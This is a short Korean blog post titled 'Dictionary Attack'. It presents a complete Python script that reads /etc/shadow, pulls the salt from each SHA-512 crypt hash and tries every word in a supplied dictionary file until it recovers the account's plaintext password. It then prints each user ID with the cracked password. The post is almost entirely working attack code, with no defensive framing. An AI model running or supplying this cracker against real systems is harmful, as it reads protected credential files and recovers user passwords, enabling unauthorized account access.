본문 바로가기
Programming/Python

Dictionary Attack

by 비니화이팅 2020. 3. 4.

 - SHA-512는 $6을 포함하여 11자리를 사용자가 입력한 패스워드와 해쉬화한다.

 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
import os
import crypt
 
account={}
 
def arg_check(argv):
    if (len(argv)) != 2 :
        print('Usage : crack [Dictionary_file]')
        sys.exit(1)
    if os.path.isfile(argv[1]) != 1 :
        print('No such Dictionary_file')
        sys.exit(1)
 
def main():
    with open('/etc/shadow''r') as s_f : 
        while True :
            s_line = s_f.readline()
            if not s_line : break
            values = s_line.split(":")
            if values[1]=='x' or values[1]=='!' or values[1]=='*' : continue
            pass_field=values[1].split("$")
            hash='$'+pass_field[1]+'$'+pass_field[2]
            find_passwd(values, hash)
    for id in account :
        if account[id]!=None : print('id -> [%s]  password -> [%s] ' %((id), account[id]))
        else : print('id -> [%s] Password not found.' %id)
 
def find_passwd(values, hash):
    account[values[0]]=None
    with open(sys.argv[1], 'r') as d_f : 
        while True :
            word = d_f.readline()
            if not word : break
            result=crypt.crypt(word.strip('\n'), hash)
            if result==values[1]:
                account[values[0]]=word.strip('\n')
                break
 
if __name__ == "__main__" :
    arg_check(sys.argv)
    main()
cs





'Programming > Python' 카테고리의 다른 글

pip UnicodeDecodeError 해결법  (0) 2020.10.22
Dictionary Attack  (0) 2020.03.04
ARP를 이용한 host scan  (0) 2020.02.24
ARP Spoofing  (0) 2020.02.24
cookie를 이용한 로그인  (0) 2018.07.18
살아있는 호스트 IP 스캔하기  (0) 2018.02.13

댓글0